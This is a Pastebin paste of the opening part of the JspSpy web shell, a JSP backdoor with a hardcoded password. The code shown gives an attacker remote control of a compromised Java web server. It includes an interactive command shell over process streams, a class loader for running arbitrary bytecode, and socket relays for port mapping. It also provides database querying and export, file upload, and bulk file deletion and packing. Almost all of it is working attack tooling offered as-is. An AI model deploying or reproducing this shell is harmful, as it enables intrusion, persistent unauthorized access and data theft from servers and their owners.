Advertisement
Guest User

Untitled

a guest
Mar 10th, 2017
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 135.29 KB | None | 0 0
  1. <%@page pageEncoding="utf-8"%>
  2. <%@page import="java.io.*"%>
  3. <%@page import="java.util.*"%>
  4. <%@page import="java.util.regex.*"%>
  5. <%@page import="java.sql.*"%>
  6. <%@page import="java.lang.reflect.*"%>
  7. <%@page import="java.nio.charset.*"%>
  8. <%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
  9. <%@page import="java.text.*"%>
  10. <%@page import="java.net.*"%>
  11. <%@page import="java.util.zip.*"%>
  12. <%@page import="java.util.jar.*"%>
  13. <%@page import="java.awt.*"%>
  14. <%@page import="java.awt.image.*"%>
  15. <%@page import="javax.imageio.*"%>
  16. <%@page import="java.awt.datatransfer.DataFlavor"%>
  17. <%@page import="java.util.prefs.Preferences"%>
  18. <%!
  19. private static final String PW = "8080"; //password
  20. private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
  21. private static final String REQUEST_CHARSET = "ISO-8859-1";
  22. private static final String PAGE_CHARSET = "UTF-8";
  23. private static final String CURRENT_DIR = "currentdir";
  24. private static final String MSG = "SHOWMSG";
  25. private static final String PORT_MAP = "PMSA";
  26. private static final String DBO = "DBO";
  27. private static final String SHELL_ONLINE = "SHELL_ONLINE";
  28. private static final String ENTER = "ENTER_FILE";
  29. private static final String ENTER_MSG = "ENTER_FILE_MSG";
  30. private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
  31. private static final String SESSION_O = "SESSION_O";
  32. private static String SHELL_NAME = "";
  33. private static String WEB_ROOT = null;
  34. private static String SHELL_DIR = null;
  35. public static Map ins = new HashMap();
  36. private static boolean ISLINUX = false;
  37.  
  38. private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
  39. private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
  40.  
  41. private static class MyRequest extends HttpServletRequestWrapper {
  42. public MyRequest(HttpServletRequest req) {
  43. super(req);
  44. }
  45. public String getParameter(String name) {
  46. try {
  47. String value = super.getParameter(name);
  48. if (name == null)
  49. return null;
  50. return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
  51. } catch (Exception e) {
  52. return null;
  53. }
  54. }
  55. }
  56. private static class SpyClassLoader extends ClassLoader{
  57. public SpyClassLoader() {
  58. }
  59. public Class defineClass(String name,byte[] b) {
  60. return super.defineClass(name,b,0,b.length - 2);
  61. }
  62. }
  63. private static class DBOperator{
  64. private Connection conn = null;
  65. private Statement stmt = null;
  66. private String driver;
  67. private String url;
  68. private String uid;
  69. private String pwd;
  70. public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
  71. this(driver,url,uid,pwd,false);
  72. }
  73. public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
  74. Class.forName(driver);
  75. if (connect)
  76. this.conn = DriverManager.getConnection(url,uid,pwd);
  77. this.url = url;
  78. this.driver = driver;
  79. this.uid = uid;
  80. this.pwd = pwd;
  81. }
  82. public void connect() throws Exception{
  83. this.conn = DriverManager.getConnection(url,uid,pwd);
  84. }
  85. public Object execute(String sql) throws Exception {
  86. if (isValid()) {
  87. stmt = conn.createStatement();
  88. if (stmt.execute(sql)) {
  89. return stmt.getResultSet();
  90. } else {
  91. return ""+stmt.getUpdateCount();
  92. }
  93. }
  94. throw new Exception("Connection is inValid.");
  95. }
  96. public void closeStmt() throws Exception{
  97. if (this.stmt != null)
  98. stmt.close();
  99. }
  100. public boolean isValid() throws Exception {
  101. return conn != null && !conn.isClosed();
  102. }
  103. public void close() throws Exception {
  104. if (isValid()) {
  105. closeStmt();
  106. conn.close();
  107. }
  108. }
  109. public boolean equals(Object o) {
  110. if (o instanceof DBOperator) {
  111. DBOperator dbo = (DBOperator)o;
  112. return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
  113. }
  114. return false;
  115. }
  116. public Connection getConn(){
  117. return this.conn;
  118. }
  119. }
  120. private static class StreamConnector extends Thread {
  121. private InputStream is;
  122. private OutputStream os;
  123. public StreamConnector( InputStream is, OutputStream os ){
  124. this.is = is;
  125. this.os = os;
  126. }
  127. public void run(){
  128. BufferedReader in = null;
  129. BufferedWriter out = null;
  130. try{
  131. in = new BufferedReader( new InputStreamReader(this.is));
  132. out = new BufferedWriter( new OutputStreamWriter(this.os));
  133. char buffer[] = new char[8192];
  134. int length;
  135. while((length = in.read( buffer, 0, buffer.length ))>0){
  136. out.write( buffer, 0, length );
  137. out.flush();
  138. }
  139. } catch(Exception e){}
  140. try{
  141. if(in != null)
  142. in.close();
  143. if(out != null)
  144. out.close();
  145. } catch( Exception e ){}
  146. }
  147. public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
  148. new Thread(new Runnable(){
  149. public void run(){
  150. while (true) {
  151. try{
  152. byte[] data = new byte[100];
  153. int len = localIn.read(data);
  154. while (len != -1) {
  155. remoteOut.write(data,0,len);
  156. len = localIn.read(data);
  157. }
  158. }catch (Exception e) {
  159. break;
  160. }
  161. }
  162. }
  163. }).start();
  164. }
  165. public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
  166. new Thread(new Runnable(){
  167. public void run(){
  168. while(true) {
  169. try{
  170. byte[] data = new byte[100];
  171. int len = remoteIn.read(data);
  172. while (len != -1) {
  173. localOut.write(data,0,len);
  174. len = remoteIn.read(data);
  175. }
  176. }catch (Exception e) {
  177. try{
  178. soc.close();
  179. remoteSoc.close();
  180. }catch(Exception ex) {
  181. }
  182. break;
  183. }
  184. }
  185. }
  186. }).start();
  187. }
  188. }
  189. private static class EnterFile extends File{
  190. private ZipFile zf = null;
  191. private ZipEntry entry = null;
  192. private boolean isDirectory = false;
  193. private String absolutePath = null;
  194. public void setEntry(ZipEntry e) {
  195. this.entry = e;
  196. }
  197. public void setAbsolutePath(String p) {
  198. this.absolutePath = p;
  199. }
  200. public void close() throws Exception{
  201. this.zf.close();
  202. }
  203. public void setZf(String p) throws Exception{
  204. if (p.toLowerCase().endsWith(".jar"))
  205. this.zf = new JarFile(p);
  206. else
  207. this.zf = new ZipFile(p);
  208. }
  209. public EnterFile(File parent, String child) {
  210. super(parent,child);
  211. }
  212. public EnterFile(String pathname) {
  213. super(pathname);
  214. }
  215. public EnterFile(String pathname,boolean isDir) {
  216. this(pathname);
  217. this.isDirectory = isDir;
  218. }
  219. public EnterFile(String parent, String child) {
  220. super(parent,child);
  221. }
  222. public EnterFile(URI uri) {
  223. super(uri);
  224. }
  225. public boolean exists(){
  226. return new File(this.zf.getName()).exists();
  227. }
  228. public File[] listFiles() {
  229. java.util.List list = new ArrayList();
  230. java.util.List handled = new ArrayList();
  231. String currentDir = super.getPath();
  232. currentDir = currentDir.replace('\\','/');
  233. if (currentDir.indexOf("/") == 0)
  234. {
  235. if (currentDir.length() > 1)
  236. currentDir = currentDir.substring(1);
  237. else
  238. currentDir = "";
  239. }
  240. Enumeration e = this.zf.entries();
  241. while (e.hasMoreElements())
  242. {
  243. ZipEntry entry = (ZipEntry)e.nextElement();
  244. String eName = entry.getName();
  245. if (this.zf instanceof JarFile) {
  246. if (!entry.isDirectory()){
  247. EnterFile ef = new EnterFile(eName);
  248. ef.setEntry(entry);
  249. try{
  250. ef.setZf(this.zf.getName());
  251. }catch(Exception ex) {
  252. }
  253. list.add(ef);
  254. }
  255. } else {
  256. if (currentDir.equals("")) {
  257. //zip root directory
  258. if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
  259. {
  260. EnterFile ef = new EnterFile(eName.replaceAll("/",""));
  261. handled.add(eName.replaceAll("/",""));
  262. ef.setEntry(entry);
  263. list.add(ef);
  264. } else {
  265. if (eName.indexOf("/") != -1) {
  266. String tmp = eName.substring(0,eName.indexOf("/"));
  267. if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
  268. EnterFile ef = new EnterFile(tmp,true);
  269. ef.setEntry(entry);
  270. list.add(ef);
  271. handled.add(tmp);
  272. }
  273. }
  274. }
  275. } else {
  276. if (eName.startsWith(currentDir)) {
  277. if (eName.matches(currentDir+"/[^/]+/?$")) {
  278. //file.
  279. EnterFile ef = new EnterFile(eName);
  280. ef.setEntry(entry);
  281. list.add(ef);
  282. if (eName.endsWith("/")) {
  283. String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
  284. tmp = tmp.substring(1,tmp.length()-1);
  285. handled.add(tmp);
  286. }
  287. } else {
  288. //dir
  289. try {
  290. String tmp = eName.substring(currentDir.length()+1);
  291. tmp = tmp.substring(0,tmp.indexOf('/'));
  292. if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
  293. EnterFile ef = new EnterFile(tmp,true);
  294. ef.setAbsolutePath(currentDir+"/"+tmp);
  295. ef.setEntry(entry);
  296. list.add(ef);
  297. handled.add(tmp);
  298. }
  299. } catch (Exception ex) {
  300. }
  301. }
  302. }
  303. }
  304. }
  305. }
  306. return (File[])list.toArray(new File[0]);
  307. }
  308. public boolean isDirectory(){
  309. return this.entry.isDirectory() || this.isDirectory;
  310. }
  311. public String getParent(){
  312. return "";
  313. }
  314. public String getAbsolutePath(){
  315. return absolutePath != null ? absolutePath : super.getPath();
  316. }
  317. public String getName(){
  318. if (this.zf instanceof JarFile) {
  319. return this.getAbsolutePath();
  320. } else {
  321. return super.getName();
  322. }
  323. }
  324. public long lastModified(){
  325. return entry.getTime();
  326. }
  327. public boolean canRead(){
  328. return false;
  329. }
  330. public boolean canWrite(){
  331. return false;
  332. }
  333. public boolean canExecute(){
  334. return false;
  335. }
  336. public long length(){
  337. return entry.getSize();
  338. }
  339. }
  340. private static class OnLineProcess {
  341. private String cmd = "first";
  342. private Process pro;
  343. public OnLineProcess(Process p){
  344. this.pro = p;
  345. }
  346. public void setPro(Process p) {
  347. this.pro = p;
  348. }
  349. public void setCmd(String c){
  350. this.cmd = c;
  351. }
  352. public String getCmd(){
  353. return this.cmd;
  354. }
  355. public Process getPro(){
  356. return this.pro;
  357. }
  358. public void stop(){
  359. this.pro.destroy();
  360. }
  361. }
  362. private static class OnLineConnector extends Thread {
  363. private OnLineProcess ol = null;
  364. private InputStream is;
  365. private OutputStream os;
  366. private String name;
  367. public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
  368. this.is = is;
  369. this.os = os;
  370. this.name = name;
  371. this.ol = ol;
  372. }
  373. public void run(){
  374. BufferedReader in = null;
  375. BufferedWriter out = null;
  376. try{
  377. in = new BufferedReader( new InputStreamReader(this.is));
  378. out = new BufferedWriter( new OutputStreamWriter(this.os));
  379. char buffer[] = new char[128];
  380. if(this.name.equals("exeRclientO")) {
  381. //from exe to client
  382. int length = 0;
  383. while((length = in.read( buffer, 0, buffer.length ))>0){
  384. String str = new String(buffer, 0, length);
  385. str = str.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;");
  386. str = str.replaceAll(""+(char)13+(char)10,"<br/>");
  387. str = str.replaceAll("\n","<br/>");
  388. out.write(str.toCharArray(), 0, str.length());
  389. out.flush();
  390. }
  391. } else {
  392. //from client to exe
  393. while(true) {
  394. while(this.ol.getCmd() == null) {
  395. Thread.sleep(500);
  396. }
  397. if (this.ol.getCmd().equals("first")) {
  398. this.ol.setCmd(null);
  399. continue;
  400. }
  401. this.ol.setCmd(this.ol.getCmd() + (char)10);
  402. char[] arr = this.ol.getCmd().toCharArray();
  403. out.write(arr,0,arr.length);
  404. out.flush();
  405. this.ol.setCmd(null);
  406. }
  407. }
  408. } catch(Exception e){
  409. }
  410. try{
  411. if(in != null)
  412. in.close();
  413. if(out != null)
  414. out.close();
  415. } catch( Exception e ){
  416. }
  417. }
  418. }
  419. private static class Table{
  420. private ArrayList rows = null;
  421. private boolean echoTableTag = false;
  422. public void setEchoTableTag(boolean v) {
  423. this.echoTableTag = v;
  424. }
  425. public Table(){
  426. this.rows = new ArrayList();
  427. }
  428. public void addRow(Row r) {
  429. this.rows.add(r);
  430. }
  431. public String toString(){
  432. StringBuffer html = new StringBuffer();
  433. if (echoTableTag)
  434. html.append("<table>");
  435. for (int i = 0;i<rows.size();i++) {
  436. Row r=(Row)rows.get(i);
  437. html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  438. ArrayList columns = r.getColumns();
  439. for (int a = 0;a<columns.size();a++) {
  440. Column c = (Column)columns.get(a);
  441. html.append("<td nowrap>");
  442. String vv = Util.htmlEncode(Util.getStr(c.getValue()));
  443. if (vv.equals(""))
  444. vv = "&nbsp;";
  445. html.append(vv);
  446. html.append("</td>");
  447. }
  448. html.append("</tr>");
  449. }
  450. if (echoTableTag)
  451. html.append("</table>");
  452. return html.toString();
  453. }
  454. public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{
  455. StringBuffer table = new StringBuffer();
  456. ResultSetMetaData meta = rs.getMetaData();
  457. int count = meta.getColumnCount();
  458. if (!op)
  459. table.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
  460. else
  461. table.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
  462. table.append("<script>function view(t){document.getElementById('sql').value='select * from "+sep+"'+t+'"+sep+"';}</script>");
  463. table.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  464. for (int i = 1;i<=count;i++) {
  465. table.append("<td nowrap>"+meta.getColumnName(i)+"</td>");
  466. }
  467. if (op)
  468. table.append("<td>&nbsp;</td>");
  469. table.append("</tr>");
  470. while (rs.next()) {
  471. String tbName = null;
  472. table.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  473. for (int i = 1;i<=count;i++) {
  474. String v = rs.getString(i);
  475. if (i == 3)
  476. tbName = v;
  477. table.append("<td nowrap>"+Util.null2Nbsp(v)+"</td>");
  478. }
  479. if (op)
  480. table.append("<td nowrap> <a href=\"#\" onclick=\"view('"+tbName+"')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"+tbName+"'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"+tbName+"'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"+tbName+"'})\">Save To File</a> </td>");
  481. table.append("</tr>");
  482. }
  483. table.append("</table><br/>");
  484. return table.toString();
  485. }
  486. }
  487. private static class Row{
  488. private ArrayList cols = null;
  489. public Row(){
  490. this.cols = new ArrayList();
  491. }
  492. public void addColumn(Column n) {
  493. this.cols.add(n);
  494. }
  495. public ArrayList getColumns(){
  496. return this.cols;
  497. }
  498. }
  499. private static class Column{
  500. private String value;
  501. public Column(String v){
  502. this.value = v;
  503. }
  504. public String getValue(){
  505. return this.value;
  506. }
  507. }
  508. private static class Util{
  509. public static boolean isEmpty(String s) {
  510. return s == null || s.trim().equals("");
  511. }
  512. public static boolean isEmpty(Object o) {
  513. return o == null || isEmpty(o.toString());
  514. }
  515. public static String getSize(long size,char danwei) {
  516. if (danwei == 'M') {
  517. double v = formatNumber(size / 1024.0 / 1024.0,2);
  518. if (v > 1024) {
  519. return getSize(size,'G');
  520. }else {
  521. return v + "M";
  522. }
  523. } else if (danwei == 'G') {
  524. return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
  525. } else if (danwei == 'K') {
  526. double v = formatNumber(size / 1024.0,2);
  527. if (v > 1024) {
  528. return getSize(size,'M');
  529. } else {
  530. return v + "K";
  531. }
  532. } else if (danwei == 'B') {
  533. if (size > 1024) {
  534. return getSize(size,'K');
  535. }else {
  536. return size + "B";
  537. }
  538. }
  539. return ""+0+danwei;
  540. }
  541. public static boolean exists(String[] arr,String v) {
  542. for (int i =0;i<arr.length;i++) {
  543. if (v.equals(arr[i])) {
  544. return true;
  545. }
  546. }
  547. return false;
  548. }
  549. public static double formatNumber(double value,int l) {
  550. NumberFormat format = NumberFormat.getInstance();
  551. format.setMaximumFractionDigits(l);
  552. format.setGroupingUsed(false);
  553. return new Double(format.format(value)).doubleValue();
  554. }
  555. public static boolean isInteger(String v) {
  556. if (isEmpty(v))
  557. return false;
  558. return v.matches("^\\d+$");
  559. }
  560. public static String formatDate(long time) {
  561. SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
  562. return format.format(new java.util.Date(time));
  563. }
  564. public static String convertPath(String path) {
  565. return path != null ? path.replace('\\','/') : "";
  566. }
  567. public static String htmlEncode(String v) {
  568. if (isEmpty(v))
  569. return "";
  570. return v.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;");
  571. }
  572. public static String getStr(String s) {
  573. return s == null ? "" :s;
  574. }
  575. public static String null2Nbsp(String s) {
  576. if (s == null)
  577. s = "&nbsp;";
  578. return s;
  579. }
  580. public static String getStr(Object s) {
  581. return s == null ? "" :s.toString();
  582. }
  583. public static String exec(String regex, String str, int group) {
  584. Pattern pat = Pattern.compile(regex);
  585. Matcher m = pat.matcher(str);
  586. if (m.find())
  587. return m.group(group);
  588. return null;
  589. }
  590. public static void outMsg(Writer out,String msg) throws Exception {
  591. outMsg(out,msg,"center");
  592. }
  593. public static void outMsg(Writer out,String msg,String align) throws Exception {
  594. out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
  595. }
  596. public static String highLight(String str) {
  597. str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","<span style='color:blue'>$1</span>");
  598. str = str.replaceAll("\t(//.+)","\t<span style='color:green'>$1</span>");
  599. return str;
  600. }
  601. }
  602. private static class UploadBean {
  603. private String fileName = null;
  604. private String suffix = null;
  605. private String savePath = "";
  606. private ServletInputStream sis = null;
  607. private OutputStream targetOutput = null;
  608. private byte[] b = new byte[1024];
  609. public void setTargetOutput(OutputStream stream) {
  610. this.targetOutput = stream;
  611. }
  612. public UploadBean() {
  613. }
  614. public void setSavePath(String path) {
  615. this.savePath = path;
  616. }
  617. public String getFileName(){
  618. return this.fileName;
  619. }
  620. public void parseRequest(HttpServletRequest request) throws IOException {
  621. sis = request.getInputStream();
  622. int a = 0;
  623. int k = 0;
  624. String s = "";
  625. while ((a = sis.readLine(b,0,b.length))!= -1) {
  626. s = new String(b, 0, a,PAGE_CHARSET);
  627. if ((k = s.indexOf("filename=\""))!= -1) {
  628. s = s.substring(k + 10);
  629. k = s.indexOf("\"");
  630. s = s.substring(0, k);
  631. File tF = new File(s);
  632. if (tF.isAbsolute()) {
  633. fileName = tF.getName();
  634. } else {
  635. fileName = s;
  636. }
  637. k = s.lastIndexOf(".");
  638. suffix = s.substring(k + 1);
  639. upload();
  640. }
  641. }
  642. }
  643. private void upload() throws IOException{
  644. try {
  645. OutputStream out = null;
  646. if (this.targetOutput != null)
  647. out = this.targetOutput;
  648. else
  649. out = new FileOutputStream(new File(savePath,fileName));
  650. int a = 0;
  651. int k = 0;
  652. String s = "";
  653. while ((a = sis.readLine(b,0,b.length))!=-1) {
  654. s = new String(b, 0, a);
  655. if ((k = s.indexOf("Content-Type:"))!=-1) {
  656. break;
  657. }
  658. }
  659. sis.readLine(b,0,b.length);
  660. while ((a = sis.readLine(b,0,b.length)) != -1) {
  661. s = new String(b, 0, a);
  662. if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
  663. break;
  664. }
  665. out.write(b, 0, a);
  666. }
  667. if (out instanceof FileOutputStream)
  668. out.close();
  669. } catch (IOException ioe) {
  670. throw ioe;
  671. }
  672. }
  673. }
  674. %>
  675. <%
  676. SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
  677. String myAbsolutePath = application.getRealPath(request.getServletPath());
  678. if (Util.isEmpty(myAbsolutePath)) {//for weblogic
  679. SHELL_NAME = request.getServletPath();
  680. myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
  681. SHELL_NAME=request.getContextPath()+SHELL_NAME;
  682. WEB_ROOT = new File(application.getResource("/").getPath()).toString();
  683. } else {
  684. WEB_ROOT = application.getRealPath("/");
  685. }
  686. SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
  687. if (SHELL_DIR.indexOf('/') == 0)
  688. ISLINUX = true;
  689. else
  690. ISLINUX = false;
  691. if (session.getAttribute(CURRENT_DIR) == null)
  692. session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
  693. request = new MyRequest(request);
  694. if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
  695. String o = request.getParameter("o");
  696. if (o != null && o.equals("login")) {
  697. ((Invoker)ins.get("login")).invoke(request,response,session);
  698. return;
  699. } else if (o != null && o.equals("vLogin")) {
  700. ((Invoker)ins.get("vLogin")).invoke(request,response,session);
  701. return;
  702. } else {
  703. ((Invoker)ins.get("vLogin")).invoke(request,response,session);
  704. return;
  705. }
  706. }
  707. %>
  708. <%!
  709. private static interface Invoker {
  710. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
  711. public boolean doBefore();
  712. public boolean doAfter();
  713. }
  714. private static class DefaultInvoker implements Invoker{
  715. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
  716. }
  717. public boolean doBefore(){
  718. return true;
  719. }
  720. public boolean doAfter() {
  721. return true;
  722. }
  723. }
  724. private static class ScriptInvoker extends DefaultInvoker{
  725. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  726. try {
  727. PrintWriter out = response.getWriter();
  728. out.println("<script type=\"text/javascript\">"+
  729. " String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
  730. " function fso(obj) {"+
  731. " this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
  732. " this.filename = obj.filename;"+
  733. " this.path = obj.path;"+
  734. " this.filetype = obj.filetype;"+
  735. " this.charset = obj.charset;"+
  736. " };"+
  737. " fso.prototype = {"+
  738. " copy:function(){"+
  739. " var path = prompt('Copy To : ',this.path);"+
  740. " if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
  741. " doPost({o:'copy',src:this.path,to:path});"+
  742. " },"+
  743. " move:function() {"+
  744. " var path =prompt('Move To : ',this.path);"+
  745. " if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
  746. " doPost({o:'move',src:this.path,to:path})"+
  747. " },"+
  748. " vEdit:function() {"+
  749. " if (!this.charset)"+
  750. " doPost({o:'vEdit',filepath:this.path});"+
  751. " else"+
  752. " doPost({o:'vEdit',filepath:this.path,charset:this.charset});"+
  753. " },"+
  754. " down:function() {"+
  755. " doPost({o:'down',path:this.path})"+
  756. " },"+
  757. " removedir:function() {"+
  758. " if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
  759. " doPost({o:'removedir',dir:this.path});"+
  760. " },"+
  761. " mkdir:function() {"+
  762. " var name = prompt('Input New Directory Name','');"+
  763. " if (name == null || name.trim().length == 0)return;"+
  764. " doPost({o:'mkdir',name:name});"+
  765. " },"+
  766. " subdir:function(out) {"+
  767. " doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"+
  768. " },"+
  769. " parent:function() {"+
  770. " var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
  771. " doPost({o:'filelist',folder:parent})"+
  772. " },"+
  773. " createFile:function() {"+
  774. " var path = prompt('Input New File Name','');"+
  775. " if (path == null || path.trim().length == 0) return;"+
  776. " doPost({o:'vCreateFile',filepath:path})"+
  777. " },"+
  778. " deleteBatch:function() {"+
  779. " if (!confirm('Are You Sure To Delete These Files?')) return;"+
  780. " var selected = new Array();"+
  781. " var inputs = document.getElementsByTagName('input');"+
  782. " for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
  783. " if (selected.length == 0) {alert('No File Selected');return;}"+
  784. " doPost({o:'deleteBatch',files:selected.join(',')})"+
  785. " },"+
  786. " packBatch:function() {"+
  787. " var selected = new Array();"+
  788. " var inputs = document.getElementsByTagName('input');"+
  789. " for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
  790. " if (selected.length == 0) {alert('No File Selected');return;}"+
  791. " var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
  792. " if (savefilename == null || savefilename.trim().length == 0)return;"+
  793. " doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
  794. " },"+
  795. " pack:function(showconfig) {"+
  796. " if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"+
  797. " var tmpName = '';"+
  798. " if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
  799. " else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
  800. " tmpName += '.zip';"+
  801. " var path = this.path;"+
  802. " var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
  803. " if (name == null || path.trim().length == 0) return;"+
  804. " doPost({o:'pack',packedfile:path,savefilename:name})"+
  805. " },"+
  806. " vEditProperty:function() {"+
  807. " var path = this.path;"+
  808. " doPost({o:'vEditProperty',filepath:path})"+
  809. " },"+
  810. " unpack:function() {"+
  811. " var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
  812. " if (path == null || path.trim().length == 0) return;"+
  813. " doPost({o:'unpack',savepath:path,zipfile:this.path})"+
  814. " },"+
  815. " enter:function() {"+
  816. " doPost({o:'enter',filepath:this.path})"+
  817. " }"+
  818. " };"+
  819. " function doPost(obj) {"+
  820. " var form = document.forms[\"doForm\"];"+
  821. " var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
  822. " for (var pro in obj)"+
  823. " {"+
  824. " var input = document.createElement(\"input\");"+
  825. " input.type = \"hidden\";"+
  826. " input.name = pro;"+
  827. " input.value = obj[pro];"+
  828. " form.appendChild(input);"+
  829. " }"+
  830. " form.submit();"+
  831. " }"+
  832. "</script>");
  833.  
  834. } catch (Exception e) {
  835.  
  836. throw e ;
  837. }
  838. }
  839. }
  840. private static class BeforeInvoker extends DefaultInvoker {
  841. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  842. try {
  843. PrintWriter out = response.getWriter();
  844. out.println("<html><head><title>JspSpy Private Codz By - Ninty</title><style type=\"text/css\">"+
  845. "body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
  846. ".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
  847. ".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
  848. ".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
  849. "a {color: #00f;text-decoration:underline;}"+
  850. "a:hover{color: #f00;text-decoration:none;}"+
  851. ".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
  852. ".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
  853. ".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
  854. ".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
  855. ".head td span{font-weight:normal;}"+
  856. "form{margin:0;padding:0;}"+
  857. "h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
  858. "ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
  859. "u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
  860. ".secho{height:400px;width:100%;overflow:auto;border:none}"+
  861. "hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"+
  862. "</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
  863. } catch (Exception e) {
  864.  
  865. throw e ;
  866. }
  867. }
  868. }
  869. private static class AfterInvoker extends DefaultInvoker {
  870. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  871. try {
  872. PrintWriter out = response.getWriter();
  873. out.println("</body></html>");
  874. } catch (Exception e) {
  875.  
  876. throw e ;
  877. }
  878. }
  879. }
  880. private static class DeleteBatchInvoker extends DefaultInvoker {
  881. public boolean doBefore(){return false;}
  882. public boolean doAfter(){return false;}
  883. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  884. try {
  885. String files = request.getParameter("files");
  886. int success = 0;
  887. int failed = 0;
  888. if (!Util.isEmpty(files)) {
  889. String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
  890. String[] arr = files.split(",");
  891. for (int i = 0;i<arr.length;i++) {
  892. String fs = arr[i];
  893. File f = new File(currentDir,fs);
  894. if(f.delete())
  895. success += 1;
  896. else
  897. failed += 1;
  898. }
  899. }
  900. JSession.setAttribute(MSG,success+" Files Deleted <span style='color:green'>Success</span> , "+failed+" Files Deleted <span style='color:red'>Failed</span>!");
  901. response.sendRedirect(SHELL_NAME);
  902. } catch (Exception e) {
  903.  
  904. throw e ;
  905. }
  906. }
  907. }
